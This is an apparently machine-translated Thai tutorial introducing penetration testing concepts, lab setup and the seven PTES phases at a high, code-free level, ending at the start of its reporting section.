Python Penetration Testing - คู่มือฉบับย่อ

การทดสอบปากกาหรือการทดสอบการเจาะอาจหมายถึงความพยายามในการประเมินความปลอดภัยของโครงสร้างพื้นฐานไอทีโดยการจำลองการโจมตีทางไซเบอร์ต่อระบบคอมพิวเตอร์เพื่อใช้ประโยชน์จากช่องโหว่

อะไรคือความแตกต่างระหว่างการสแกนช่องโหว่และการทดสอบการเจาะ? การสแกนช่องโหว่เพียงแค่ระบุช่องโหว่ที่ระบุไว้และการทดสอบการเจาะตามที่บอกไว้ก่อนหน้านี้คือความพยายามที่จะใช้ประโยชน์จากช่องโหว่ การทดสอบการเจาะช่วยในการตรวจสอบว่าการเข้าถึงโดยไม่ได้รับอนุญาตหรือกิจกรรมที่เป็นอันตรายอื่น ๆ เป็นไปได้ในระบบหรือไม่

เราสามารถทำการทดสอบการเจาะสำหรับเซิร์ฟเวอร์เว็บแอปพลิเคชันเครือข่ายไร้สายอุปกรณ์เคลื่อนที่และจุดอื่น ๆ ที่อาจเกิดขึ้นได้โดยใช้เทคโนโลยีด้วยตนเองหรืออัตโนมัติ เนื่องจากการทดสอบการเจาะหากเราใช้ประโยชน์จากช่องโหว่ใด ๆ สิ่งเดียวกันนี้จะต้องถูกส่งต่อไปยัง IT และผู้จัดการระบบเครือข่ายเพื่อให้ได้ข้อสรุปเชิงกลยุทธ์

ความสำคัญของการทดสอบการเจาะ (ปากกา)

ในส่วนนี้เราจะเรียนรู้เกี่ยวกับความสำคัญของการทดสอบการเจาะ พิจารณาประเด็นต่อไปนี้ที่ควรทราบเกี่ยวกับความสำคัญ -

ความปลอดภัยขององค์กร

ความสำคัญของการทดสอบการเจาะสามารถเข้าใจได้จากจุดที่ให้ความมั่นใจกับองค์กรด้วยการประเมินความปลอดภัยขององค์กรนั้นโดยละเอียด

การปกป้องความลับขององค์กร

ด้วยความช่วยเหลือของการทดสอบการเจาะเราสามารถตรวจจับภัยคุกคามที่อาจเกิดขึ้นก่อนที่จะเผชิญกับความเสียหายใด ๆ และปกป้องความลับขององค์กรนั้น ๆ

การดำเนินการตามนโยบายความปลอดภัย

การทดสอบการเจาะสามารถทำให้เรามั่นใจได้เกี่ยวกับการนำนโยบายความปลอดภัยไปใช้ในองค์กร

การจัดการประสิทธิภาพเครือข่าย

ด้วยความช่วยเหลือของการทดสอบการเจาะระบบสามารถจัดการประสิทธิภาพของเครือข่ายได้ สามารถตรวจสอบความปลอดภัยของอุปกรณ์เช่นไฟร์วอลล์เราเตอร์ ฯลฯ

มั่นใจในความปลอดภัยขององค์กร

สมมติว่าหากเราต้องการใช้การเปลี่ยนแปลงใด ๆ ในการออกแบบเครือข่ายหรืออัปเดตซอฟต์แวร์ฮาร์ดแวร์ ฯลฯ การทดสอบการเจาะจะช่วยให้มั่นใจได้ถึงความปลอดภัยขององค์กรจากช่องโหว่ทุกประเภท

ใครเป็นนักทดสอบปากกาที่ดี?

ผู้ทดสอบการเจาะคือผู้เชี่ยวชาญด้านซอฟต์แวร์ที่ช่วยองค์กรเสริมสร้างการป้องกันจากการโจมตีทางไซเบอร์โดยการระบุช่องโหว่ ผู้ทดสอบการเจาะสามารถใช้เทคนิคแบบแมนนวลหรือเครื่องมืออัตโนมัติในการทดสอบ

ตอนนี้ให้เราพิจารณาคุณสมบัติที่สำคัญต่อไปนี้ของเครื่องทดสอบการเจาะที่ดี -

ความรู้เกี่ยวกับการพัฒนาระบบเครือข่ายและแอปพลิเคชัน

ผู้ดูแลที่ดีจะต้องมีความรู้ในการพัฒนาแอปพลิเคชันการดูแลระบบฐานข้อมูลและระบบเครือข่ายเพราะคาดว่าเขา / เธอจะต้องจัดการกับการตั้งค่าการกำหนดค่าและการเข้ารหัส

นักคิดที่โดดเด่น

เพนเทสเตอร์ต้องเป็นนักคิดที่โดดเด่นและไม่ลังเลที่จะใช้เครื่องมือและระเบียบวิธีต่างๆในงานที่ได้รับมอบหมายเพื่อให้ได้ผลลัพธ์ที่ดีที่สุด

ความรู้เกี่ยวกับขั้นตอน

ผู้ดูแลที่ดีต้องมีความรู้ในการกำหนดขอบเขตสำหรับการทดสอบการเจาะแต่ละครั้งเช่นวัตถุประสงค์ข้อ จำกัด และเหตุผลของขั้นตอน

เทคโนโลยีที่ทันสมัย

ผู้ดูแลจะต้องมีความทันสมัยในทักษะทางเทคโนโลยีของตนเนื่องจากเทคโนโลยีสามารถเปลี่ยนแปลงได้ตลอดเวลา

มีทักษะในการทำรายงาน

หลังจากดำเนินการทดสอบการเจาะสำเร็จแล้วผู้ทดสอบปากกาจะต้องกล่าวถึงผลการวิจัยและความเสี่ยงที่อาจเกิดขึ้นทั้งหมดในรายงานฉบับสุดท้าย ดังนั้นเขา / เธอต้องมีทักษะในการทำรายงานที่ดี

หลงใหลในความปลอดภัยทางไซเบอร์

คนที่หลงใหลสามารถประสบความสำเร็จในชีวิตได้ ในทำนองเดียวกันถ้าคน ๆ หนึ่งหลงใหลในหลักทรัพย์ทางไซเบอร์เขา / เธอก็สามารถเป็นนักทดสอบปากกาที่ดีได้

ขอบเขตการทดสอบการเจาะ

ตอนนี้เราจะเรียนรู้เกี่ยวกับขอบเขตของการทดสอบการเจาะ การทดสอบสองประเภทต่อไปนี้สามารถกำหนดขอบเขตของการทดสอบการเจาะ -

การทดสอบแบบไม่ทำลาย (NDT)

การทดสอบแบบไม่ทำลายไม่ได้ทำให้ระบบตกอยู่ในความเสี่ยงใด ๆ NDT ใช้เพื่อค้นหาข้อบกพร่องก่อนที่จะกลายเป็นอันตรายโดยไม่ทำอันตรายต่อระบบวัตถุ ฯลฯ ในขณะที่ทำการทดสอบการเจาะ NDT จะดำเนินการดังต่อไปนี้ -

การสแกนระบบระยะไกล

การทดสอบนี้จะสแกนและระบุระบบระยะไกลเพื่อหาช่องโหว่ที่อาจเกิดขึ้น

การยืนยัน

หลังจากพบช่องโหว่แล้วยังทำการตรวจสอบทุกสิ่งที่พบ

การใช้ระบบระยะไกลอย่างเหมาะสม

ใน NDT เครื่องทดสอบปากกาจะใช้ระบบรีโมทอย่างเหมาะสม สิ่งนี้ช่วยในการหลีกเลี่ยงการหยุดชะงัก

Note - ในทางกลับกันในขณะที่ทำการทดสอบการเจาะ NDT จะไม่ดำเนินการ Denial-of-Service (DoS) attack.

การทดสอบการทำลายล้าง

การทดสอบทำลายสามารถทำให้ระบบตกอยู่ในความเสี่ยง มีราคาแพงกว่าและต้องใช้ทักษะมากกว่าการทดสอบแบบไม่ทำลาย ในขณะที่ทำการทดสอบการเจาะการทดสอบการทำลายจะดำเนินการดังต่อไปนี้ -

• Denial-of-Service (DoS) attack - การทดสอบทำลายล้างทำการโจมตี DoS

• Buffer overflow attack - นอกจากนี้ยังทำการโจมตีบัฟเฟอร์ล้นซึ่งอาจนำไปสู่ความผิดพลาดของระบบ

สิ่งที่ต้องติดตั้งเพื่อฝึกฝนการทดสอบการเจาะ?

เทคนิคและเครื่องมือทดสอบการเจาะควรดำเนินการในสภาพแวดล้อมที่คุณเป็นเจ้าของหรือได้รับอนุญาตให้เรียกใช้เครื่องมือเหล่านี้เท่านั้นเราต้องไม่ฝึกฝนเทคนิคเหล่านี้ในสภาพแวดล้อมซึ่งเราไม่ได้รับอนุญาตให้ทำเช่นนั้นเนื่องจากการทดสอบการเจาะโดยไม่ได้รับอนุญาตถือเป็นสิ่งผิดกฎหมาย

• เราสามารถฝึกฝนการทดสอบการเจาะโดยการติดตั้งชุดการจำลองเสมือน - อย่างใดอย่างหนึ่ง VMware Player( www.vmware.com/products/player ) หรือOracle VirtualBox -

  www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html

• นอกจากนี้เรายังสามารถสร้าง Virtual Machines (VMs) จากเวอร์ชันปัจจุบันของ -

• Kali Linux ( www.kali.org/downloads/ )

• Samurai Web Testing Framework (http://samurai.inguardians.com/)

• Metasploitable ( www.offensivesecurity.com/metasploit-unleashed/Requirements )

ในช่วงไม่กี่ครั้งที่ผ่านมาองค์กรทั้งภาครัฐและเอกชนได้ให้ความสำคัญกับการรักษาความปลอดภัยทางไซเบอร์เป็นสำคัญ อาชญากรไซเบอร์มักทำให้หน่วยงานของรัฐและเอกชนเป็นเป้าหมายโดยใช้เวกเตอร์โจมตีที่แตกต่างกัน เนื่องจากไม่มีนโยบายที่มีประสิทธิภาพมาตรฐานและความซับซ้อนของระบบข้อมูลอาชญากรไซเบอร์จึงมีเป้าหมายจำนวนมากและพวกเขาก็ประสบความสำเร็จในการใช้ประโยชน์จากระบบและขโมยข้อมูลด้วย

การทดสอบการเจาะเป็นกลยุทธ์หนึ่งที่สามารถใช้เพื่อลดความเสี่ยงของการโจมตีทางไซเบอร์ ความสำเร็จของการทดสอบการเจาะขึ้นอยู่กับวิธีการประเมินที่มีประสิทธิภาพและสม่ำเสมอ

เรามีวิธีการประเมินที่หลากหลายที่เกี่ยวข้องกับการทดสอบการเจาะ ประโยชน์ของการใช้ระเบียบวิธีคือช่วยให้ผู้ประเมินสามารถประเมินสภาพแวดล้อมได้อย่างสม่ำเสมอ ต่อไปนี้เป็นวิธีการที่สำคัญบางประการ -

• คู่มือวิธีการทดสอบความปลอดภัยโอเพ่นซอร์ส (OSSTMM)

• เปิดโครงการความปลอดภัยของโปรแกรมประยุกต์บนเว็บ (OWASP)

• สถาบันมาตรฐานและเทคโนโลยีแห่งชาติ (NIST)

• มาตรฐานการทดสอบการเจาะทะลุ (PTES)

PTES คืออะไร?

PTES ซึ่งเป็นมาตรฐานการดำเนินการทดสอบการเจาะเนื่องจากชื่อมีความหมายว่าเป็นวิธีการประเมินสำหรับการทดสอบการเจาะ ครอบคลุมทุกอย่างที่เกี่ยวข้องกับการทดสอบการเจาะ เรามีหลักเกณฑ์ทางเทคนิคหลายประการภายใน PTES ที่เกี่ยวข้องกับสภาพแวดล้อมต่างๆที่ผู้ประเมินอาจพบ นี่เป็นข้อได้เปรียบที่ใหญ่ที่สุดของการใช้ PTES โดยผู้ประเมินใหม่เนื่องจากหลักเกณฑ์ทางเทคนิคมีข้อเสนอแนะสำหรับการจัดการและประเมินสภาพแวดล้อมภายในเครื่องมือมาตรฐานอุตสาหกรรม

ในส่วนต่อไปนี้เราจะเรียนรู้เกี่ยวกับขั้นตอนต่างๆของ PTES

PTES เจ็ดขั้นตอน

มาตรฐานการดำเนินการทดสอบการเจาะ (PTES) ประกอบด้วยเจ็ดขั้นตอน ขั้นตอนเหล่านี้ครอบคลุมทุกอย่างที่เกี่ยวข้องกับการทดสอบการเจาะ - ตั้งแต่การสื่อสารเบื้องต้นและการให้เหตุผลเบื้องหลังการคุมขังผ่านขั้นตอนการรวบรวมข่าวกรองและขั้นตอนการสร้างแบบจำลองภัยคุกคามที่ผู้ทดสอบกำลังทำงานอยู่เบื้องหลัง สิ่งนี้นำไปสู่ความเข้าใจที่ดีขึ้นเกี่ยวกับองค์กรที่ผ่านการทดสอบผ่านการวิจัยช่องโหว่การแสวงหาประโยชน์และการแสวงหาประโยชน์หลัง ที่นี่ความเชี่ยวชาญด้านความปลอดภัยทางเทคนิคของผู้ทดสอบจะรวมเข้ากับความเข้าใจทางธุรกิจเกี่ยวกับการมีส่วนร่วมและสุดท้ายคือการรายงานซึ่งรวบรวมกระบวนการทั้งหมดในลักษณะที่เหมาะสมกับลูกค้าและให้คุณค่ามากที่สุด

เราจะเรียนรู้เกี่ยวกับ PTES เจ็ดขั้นตอนในส่วนต่อไปของเรา -

ขั้นตอนการโต้ตอบก่อนการมีส่วนร่วม

นี่เป็นขั้นตอนแรกและสำคัญมากของ PTES จุดมุ่งหมายหลักของขั้นตอนนี้คือการอธิบายเครื่องมือและเทคนิคที่มีอยู่ซึ่งช่วยในขั้นตอนก่อนการมีส่วนร่วมที่ประสบความสำเร็จของการทดสอบการเจาะ ความผิดพลาดใด ๆ ในขณะที่ใช้ขั้นตอนนี้อาจส่งผลกระทบอย่างมีนัยสำคัญต่อการประเมินที่เหลือ ขั้นตอนนี้ประกอบด้วยสิ่งต่อไปนี้ -

ขอรับการประเมิน

ส่วนแรกที่เริ่มขั้นตอนนี้คือการสร้างคำขอสำหรับการประเมินโดยองค์กร กRequest for Proposal (RFP) เอกสารที่มีรายละเอียดเกี่ยวกับสภาพแวดล้อมประเภทของการประเมินที่จำเป็นและความคาดหวังขององค์กรจัดเตรียมไว้ให้กับผู้ประเมิน

การเสนอราคา

ตอนนี้ขึ้นอยู่กับ RFP เอกสาร บริษัท ประเมินหลายแห่งหรือ บริษัท รับผิด จำกัด (LLCs) แต่ละแห่งจะเสนอราคาและฝ่ายเสนอราคาที่ตรงกับงานที่ร้องขอราคาและพารามิเตอร์เฉพาะอื่น ๆ จะชนะ

การลงนามในจดหมายหมั้น (EL)

ตอนนี้องค์กรและฝ่ายที่ชนะการประมูลจะลงนามในสัญญาหมั้นจดหมาย (EL) ตัวอักษรจะมีstatement of work (SOW) และผลิตภัณฑ์ขั้นสุดท้าย

การกำหนดขอบเขตการประชุม

เมื่อลงนาม EL แล้วการปรับแต่งขอบเขตจะเริ่มขึ้น การประชุมดังกล่าวช่วยให้องค์กรและพรรคสามารถปรับขอบเขตเฉพาะได้ เป้าหมายหลักของการประชุมกำหนดขอบเขตคือเพื่อหารือเกี่ยวกับสิ่งที่จะทดสอบ

การจัดการการคืบของขอบเขต

Scope creep เป็นสิ่งที่ลูกค้าอาจพยายามเพิ่มหรือขยายระดับงานที่สัญญาไว้เพื่อให้ได้มากกว่าที่สัญญาว่าจะจ่ายให้ นั่นคือเหตุผลที่การปรับเปลี่ยนขอบเขตเดิมควรได้รับการพิจารณาอย่างรอบคอบเนื่องจากเวลาและทรัพยากร นอกจากนี้ยังต้องกรอกในรูปแบบเอกสารบางอย่างเช่นอีเมลเอกสารที่ลงนามหรือหนังสือมอบอำนาจเป็นต้น

แบบสอบถาม

ในระหว่างการสื่อสารเบื้องต้นกับลูกค้ามีคำถามหลายข้อที่ลูกค้าจะต้องตอบเพื่อการประมาณขอบเขตการมีส่วนร่วมที่เหมาะสม คำถามเหล่านี้ได้รับการออกแบบมาเพื่อให้เข้าใจถึงสิ่งที่ลูกค้าต้องการได้รับจากการทดสอบการเจาะ เหตุใดลูกค้าจึงต้องการทดสอบการเจาะกับสภาพแวดล้อม และไม่ว่าพวกเขาต้องการการทดสอบบางประเภทในระหว่างการทดสอบการเจาะหรือไม่

วิธีดำเนินการทดสอบ

ส่วนสุดท้ายของขั้นตอนก่อนการมีส่วนร่วมคือการตัดสินใจขั้นตอนในการดำเนินการทดสอบ มีกลยุทธ์การทดสอบต่างๆเช่น White Box, Black Box, Grey Box, Double-blind testing ให้เลือก

ต่อไปนี้เป็นตัวอย่างบางส่วนของการประเมินที่อาจร้องขอ -

• การทดสอบการเจาะเครือข่าย
• การทดสอบการเจาะแอปพลิเคชันบนเว็บ
• การทดสอบการเจาะเครือข่ายไร้สาย
• การทดสอบการเจาะทางกายภาพ
• วิศวกรรมสังคม
• Phishing
• Voice Over Internet Protocol (VOIP)
• เครือข่ายภายใน
• เครือข่ายภายนอก

ขั้นตอนการรวบรวมข่าวกรอง

การรวบรวมข่าวกรองซึ่งเป็นขั้นตอนที่สองของ PTES คือการที่เราทำการสำรวจเบื้องต้นกับเป้าหมายเพื่อรวบรวมข้อมูลให้มากที่สุดเท่าที่จะเป็นไปได้ที่จะใช้เมื่อเจาะเข้าไปในเป้าหมายในระหว่างขั้นตอนการประเมินช่องโหว่และการแสวงหาประโยชน์ ช่วยองค์กรในการพิจารณาการเปิดรับภายนอกโดยทีมประเมิน เราสามารถแบ่งการรวบรวมข้อมูลในสามระดับต่อไปนี้ -

การรวบรวมข้อมูลระดับ 1

เครื่องมืออัตโนมัติสามารถรับข้อมูลระดับนี้ได้เกือบทั้งหมด ความพยายามในการรวบรวมข้อมูลระดับ 1 ควรเหมาะสมเพื่อให้เป็นไปตามข้อกำหนด

การรวบรวมข้อมูลระดับ 2

ข้อมูลระดับนี้สามารถหาได้โดยใช้เครื่องมืออัตโนมัติจากระดับ 1 พร้อมกับการวิเคราะห์ด้วยตนเอง ระดับนี้ต้องการความเข้าใจที่ดีเกี่ยวกับธุรกิจรวมถึงข้อมูลเช่นสถานที่ตั้งทางกายภาพความสัมพันธ์ทางธุรกิจแผนผังองค์กร ฯลฯ ความพยายามในการรวบรวมข้อมูลระดับ 2 ควรเหมาะสมเพื่อให้เป็นไปตามข้อกำหนดพร้อมกับความต้องการอื่น ๆ เช่นกลยุทธ์การรักษาความปลอดภัยในระยะยาว การหาผู้ผลิตรายย่อย ฯลฯ

การรวบรวมข้อมูลระดับ 3

การรวบรวมข้อมูลระดับนี้ใช้ในการทดสอบการเจาะขั้นสูงสุด ข้อมูลทั้งหมดจากระดับ 1 และระดับ 2 พร้อมกับการวิเคราะห์ด้วยตนเองจำนวนมากจำเป็นสำหรับการรวบรวมข้อมูลระดับ 3

ระยะการสร้างแบบจำลองภัยคุกคาม

นี่คือระยะที่สามของ PTES ต้องใช้วิธีการสร้างแบบจำลองภัยคุกคามเพื่อดำเนินการทดสอบการเจาะที่ถูกต้อง การสร้างแบบจำลองภัยคุกคามสามารถใช้เป็นส่วนหนึ่งของการทดสอบการเจาะหรืออาจต้องเผชิญกับปัจจัยหลายประการ ในกรณีที่เราใช้การสร้างแบบจำลองภัยคุกคามเป็นส่วนหนึ่งของการทดสอบการเจาะข้อมูลที่รวบรวมในระยะที่สองจะถูกย้อนกลับไปในขั้นตอนแรก

ขั้นตอนต่อไปนี้เป็นขั้นตอนการสร้างแบบจำลองภัยคุกคาม -

• รวบรวมข้อมูลที่จำเป็นและเกี่ยวข้อง

• ต้องระบุและจัดหมวดหมู่เนื้อหาหลักและรอง

• ต้องระบุและจัดหมวดหมู่ภัยคุกคามและชุมชนที่คุกคาม

• ต้องทำแผนที่ชุมชนคุกคามกับทรัพย์สินหลักและรอง

ชุมชนและตัวแทนภัยคุกคาม

ตารางต่อไปนี้แสดงรายชื่อชุมชนและตัวแทนภัยคุกคามที่เกี่ยวข้องพร้อมกับตำแหน่งของพวกเขาในองค์กร -

สถานที่	ภายใน	ภายนอก
Threat agents/communities	พนักงาน	คู่ค้าทางธุรกิจ
	ผู้บริหาร	ผู้รับเหมา
	ผู้ดูแลระบบ (เครือข่ายระบบ)	คู่แข่ง
	วิศวกร	ซัพพลายเออร์
	ช่างเทคนิค	รัฐชาติ
	ชุมชนผู้ใช้ทั่วไป	แฮกเกอร์

ขณะทำการประเมินแบบจำลองภัยคุกคามเราต้องจำไว้ว่าตำแหน่งของภัยคุกคามสามารถอยู่ภายในได้ ใช้อีเมลฟิชชิ่งเพียงอีเมลเดียวหรือพนักงานที่น่ารำคาญเพียงคนเดียวที่รักษาความปลอดภัยขององค์กรที่เสี่ยงโดยการเผยแพร่ข้อมูลรับรอง

ระยะการวิเคราะห์ช่องโหว่

นี่เป็นขั้นตอนที่สี่ของ PTES ซึ่งผู้ประเมินจะระบุเป้าหมายที่เป็นไปได้สำหรับการทดสอบต่อไป ในสามขั้นตอนแรกของ PTES จะมีการแยกเฉพาะรายละเอียดเกี่ยวกับองค์กรและผู้ประเมินไม่ได้สัมผัสทรัพยากรใด ๆ สำหรับการทดสอบ เป็นช่วงที่ใช้เวลานานที่สุดของ PTES

ขั้นตอนต่อไปนี้เป็นการวิเคราะห์ช่องโหว่ -

การทดสอบช่องโหว่

อาจถูกกำหนดให้เป็นกระบวนการค้นหาข้อบกพร่องเช่นการกำหนดค่าผิดพลาดและการออกแบบแอปพลิเคชันที่ไม่ปลอดภัยในระบบและแอปพลิเคชันของโฮสต์และบริการ ผู้ทดสอบต้องกำหนดขอบเขตการทดสอบและผลลัพธ์ที่ต้องการอย่างเหมาะสมก่อนที่จะทำการวิเคราะห์ช่องโหว่ การทดสอบช่องโหว่สามารถเป็นประเภทต่อไปนี้ -

• การทดสอบที่ใช้งานอยู่
• การทดสอบแบบพาสซีฟ

เราจะพูดถึงรายละเอียดทั้งสองประเภทในส่วนต่อไปของเรา

การทดสอบที่ใช้งานอยู่

มันเกี่ยวข้องกับการโต้ตอบโดยตรงกับส่วนประกอบที่กำลังทดสอบช่องโหว่ด้านความปลอดภัย ส่วนประกอบสามารถอยู่ในระดับต่ำเช่นสแต็ก TCP บนอุปกรณ์เครือข่ายหรือในระดับสูงเช่นอินเทอร์เฟซบนเว็บ การทดสอบที่ใช้งานอยู่สามารถทำได้สองวิธีดังต่อไปนี้ -

การทดสอบที่ใช้งานอยู่โดยอัตโนมัติ

ใช้ซอฟต์แวร์เพื่อโต้ตอบกับเป้าหมายตรวจสอบการตอบสนองและพิจารณาจากการตอบสนองเหล่านี้ว่ามีช่องโหว่ในส่วนประกอบหรือไม่ ความสำคัญของการทดสอบแอคทีฟอัตโนมัติเมื่อเปรียบเทียบกับการทดสอบแอ็คทีฟด้วยตนเองสามารถรับรู้ได้จากข้อเท็จจริงที่ว่าหากมีพอร์ต TCP หลายพันพอร์ตในระบบและเราจำเป็นต้องเชื่อมต่อทั้งหมดด้วยตนเองเพื่อทำการทดสอบจะต้องใช้เวลาเป็นจำนวนมาก อย่างไรก็ตามการใช้เครื่องมืออัตโนมัติสามารถลดเวลาและความต้องการแรงงานได้มาก การสแกนช่องโหว่ของเครือข่ายการสแกนพอร์ตการจับแบนเนอร์การสแกนเว็บแอปพลิเคชันสามารถทำได้ด้วยความช่วยเหลือของเครื่องมือทดสอบอัตโนมัติที่ใช้งานอยู่

การทดสอบที่ใช้งานด้วยตนเอง

การทดสอบประสิทธิภาพด้วยตนเองมีประสิทธิภาพมากกว่าเมื่อเปรียบเทียบกับการทดสอบอัตโนมัติที่ใช้งานอยู่ ขอบของข้อผิดพลาดมักเกิดขึ้นกับกระบวนการหรือเทคโนโลยีอัตโนมัติ นั่นคือเหตุผลที่แนะนำให้ดำเนินการเชื่อมต่อโดยตรงด้วยตนเองกับแต่ละโปรโตคอลหรือบริการที่มีอยู่ในระบบเป้าหมายเพื่อตรวจสอบผลลัพธ์ของการทดสอบอัตโนมัติ

การทดสอบแบบพาสซีฟ

การทดสอบแบบพาสซีฟไม่เกี่ยวข้องกับการโต้ตอบโดยตรงกับส่วนประกอบ สามารถใช้งานได้ด้วยความช่วยเหลือของสองเทคนิคต่อไปนี้ -

การวิเคราะห์ข้อมูลเมตา

เทคนิคนี้เกี่ยวข้องกับการดูข้อมูลที่อธิบายไฟล์แทนที่จะเป็นข้อมูลของไฟล์เอง ตัวอย่างเช่นไฟล์ MS word มีข้อมูลเมตาในรูปแบบของชื่อผู้แต่งชื่อ บริษัท วันที่และเวลาที่แก้ไขและบันทึกเอกสารครั้งล่าสุด จะมีปัญหาด้านความปลอดภัยหากผู้โจมตีสามารถเข้าถึงข้อมูลเมตาแบบพาสซีฟได้

การตรวจสอบการจราจร

อาจถูกกำหนดให้เป็นเทคนิคในการเชื่อมต่อกับเครือข่ายภายในและเก็บข้อมูลสำหรับการวิเคราะห์แบบออฟไลน์ ส่วนใหญ่จะใช้เพื่อจับภาพ“leaking of data” เข้าสู่เครือข่ายที่เปลี่ยน

การตรวจสอบ

หลังจากการทดสอบช่องโหว่การตรวจสอบความถูกต้องของสิ่งที่ค้นพบเป็นสิ่งที่จำเป็นมาก สามารถทำได้ด้วยความช่วยเหลือของเทคนิคต่อไปนี้ -

ความสัมพันธ์ระหว่างเครื่องมือ

หากผู้ประเมินทำการทดสอบช่องโหว่ด้วยเครื่องมืออัตโนมัติหลายตัวเพื่อตรวจสอบความถูกต้องของสิ่งที่ค้นพบจำเป็นอย่างยิ่งที่จะต้องมีความสัมพันธ์ระหว่างเครื่องมือเหล่านี้ การค้นพบนี้อาจซับซ้อนได้หากไม่มีความสัมพันธ์ระหว่างเครื่องมือดังกล่าว สามารถแบ่งออกเป็นความสัมพันธ์เฉพาะของรายการและความสัมพันธ์เชิงหมวดหมู่ของรายการ

การตรวจสอบเฉพาะโปรโตคอล

การตรวจสอบสามารถทำได้ด้วยความช่วยเหลือของโปรโตคอลด้วย สามารถใช้ VPN, Citrix, DNS, เว็บ, เมลเซิร์ฟเวอร์เพื่อตรวจสอบความถูกต้องของสิ่งที่ค้นพบ

การวิจัย

หลังจากการค้นหาและการตรวจสอบความถูกต้องของช่องโหว่ในระบบจำเป็นอย่างยิ่งที่จะต้องกำหนดความถูกต้องของการระบุปัญหาและการวิจัยความสามารถในการใช้ประโยชน์จากช่องโหว่ภายในขอบเขตของการทดสอบการเจาะ การวิจัยสามารถทำได้ทั้งแบบสาธารณะหรือแบบส่วนตัว ในขณะทำการวิจัยสาธารณะสามารถใช้ฐานข้อมูลช่องโหว่และคำแนะนำของผู้ขายเพื่อตรวจสอบความถูกต้องของปัญหาที่รายงานได้ ในทางกลับกันในขณะที่ทำการวิจัยส่วนตัวสามารถตั้งค่าสภาพแวดล้อมแบบจำลองและใช้เทคนิคต่างๆเช่นการกำหนดค่าฟัซซี่หรือการทดสอบเพื่อตรวจสอบความถูกต้องของปัญหาที่รายงาน

เฟสการแสวงหาผลประโยชน์

นี่คือขั้นตอนที่ห้าของ PTES ระยะนี้มุ่งเน้นไปที่การเข้าถึงระบบหรือทรัพยากรโดยข้ามข้อ จำกัด ด้านความปลอดภัย ในขั้นตอนนี้งานทั้งหมดที่ทำในขั้นตอนก่อนหน้าจะนำไปสู่การเข้าถึงระบบ มีคำศัพท์ทั่วไปดังต่อไปนี้ที่ใช้เพื่อเข้าถึงระบบ -

• Popped
• Shelled
• Cracked
• Exploited

การเข้าสู่ระบบในขั้นตอนการหาประโยชน์สามารถทำได้ด้วยความช่วยเหลือของรหัสการหาประโยชน์จากระยะไกลการสร้างช่องโหว่การข้ามโปรแกรมป้องกันไวรัสหรืออาจทำได้ง่ายเพียงแค่การบันทึกผ่านข้อมูลประจำตัวที่อ่อนแอ หลังจากได้รับการเข้าถึงกล่าวคือหลังจากระบุจุดเข้าหลักแล้วผู้ประเมินจะต้องมุ่งเน้นไปที่การระบุสินทรัพย์เป้าหมายที่มีมูลค่าสูง หากขั้นตอนการวิเคราะห์ช่องโหว่เสร็จสมบูรณ์อย่างถูกต้องควรปฏิบัติตามรายการเป้าหมายที่มีมูลค่าสูง ท้ายที่สุดแล้วเวกเตอร์การโจมตีควรคำนึงถึงความน่าจะเป็นของความสำเร็จและผลกระทบสูงสุดต่อองค์กร

โพสต์เฟสหาประโยชน์

นี่คือระยะที่หกของ PTES ผู้ประเมินดำเนินกิจกรรมต่อไปนี้ในระยะนี้ -

การวิเคราะห์โครงสร้างพื้นฐาน

การวิเคราะห์โครงสร้างพื้นฐานทั้งหมดที่ใช้ระหว่างการทดสอบการเจาะจะทำในขั้นตอนนี้ ตัวอย่างเช่นการวิเคราะห์การกำหนดค่าเครือข่ายหรือเครือข่ายสามารถทำได้ด้วยความช่วยเหลือของอินเทอร์เฟซการกำหนดเส้นทางเซิร์ฟเวอร์ DNS รายการ DNS ที่แคชพร็อกซีเซิร์ฟเวอร์เป็นต้น

การปล้นสะดม

อาจหมายถึงการได้รับข้อมูลจากโฮสต์เป้าหมาย ข้อมูลนี้เกี่ยวข้องกับเป้าหมายที่กำหนดไว้ในช่วงก่อนการประเมิน ข้อมูลนี้สามารถหาได้จากโปรแกรมที่ติดตั้งเซิร์ฟเวอร์เฉพาะเช่นเซิร์ฟเวอร์ฐานข้อมูลเครื่องพิมพ์ ฯลฯ บนระบบ

การกรองข้อมูล

ภายใต้กิจกรรมนี้ผู้ประเมินจะต้องทำแผนที่และทดสอบเส้นทางการกรองที่เป็นไปได้ทั้งหมดเพื่อให้สามารถควบคุมการวัดความแข็งแรงเช่นการตรวจจับและปิดกั้นข้อมูลที่ละเอียดอ่อนจากองค์กรได้

การสร้างความคงอยู่

กิจกรรมนี้รวมถึงการติดตั้งแบ็คดอร์ที่ต้องมีการพิสูจน์ตัวตนการรีบูตแบ็คดอร์เมื่อจำเป็นและการสร้างบัญชีสำรองที่มีรหัสผ่านที่ซับซ้อน

ทำความสะอาด

ตามชื่อที่แนะนำกระบวนการนี้ครอบคลุมข้อกำหนดในการทำความสะอาดระบบเมื่อการทดสอบการเจาะเสร็จสิ้น กิจกรรมนี้รวมถึงการกลับไปสู่การตั้งค่าระบบค่าดั้งเดิมพารามิเตอร์คอนฟิกูเรชันแอ็พพลิเคชันและการลบแบ็คดอร์ทั้งหมดที่ติดตั้งและบัญชีผู้ใช้ที่สร้างขึ้น

การรายงาน

นี่คือขั้นตอนสุดท้ายและสำคัญที่สุดของ PTES ที่นี่ลูกค้าจะจ่ายตามรายงานขั้นสุดท้ายหลังจากเสร็จสิ้นการทดสอบการเจาะ รายงานโดยทั่วไปเป็นภาพสะท้อนของการค้นพบที่ทำโดยผู้ประเมินเกี่ยวกับระบบ ต่อไปนี้เป็นส่วนสำคัญของรายงานที่ดี -

บทสรุปสำหรับผู้บริหาร

นี่คือรายงานที่สื่อสารกับผู้อ่านเกี่ยวกับเป้าหมายเฉพาะของการทดสอบการเจาะและข้อค้นพบระดับสูงของแบบฝึกหัดการทดสอบ กลุ่มเป้าหมายสามารถเป็นสมาชิกของคณะกรรมการที่ปรึกษาของหัวหน้าชุดได้

โครงเรื่อง

รายงานต้องมีโครงเรื่องซึ่งจะอธิบายถึงสิ่งที่ทำในระหว่างการมีส่วนร่วมการค้นพบด้านความปลอดภัยที่แท้จริงหรือจุดอ่อนและการควบคุมเชิงบวกที่องค์กรได้กำหนดขึ้น

หลักฐานแนวคิด / รายงานทางเทคนิค

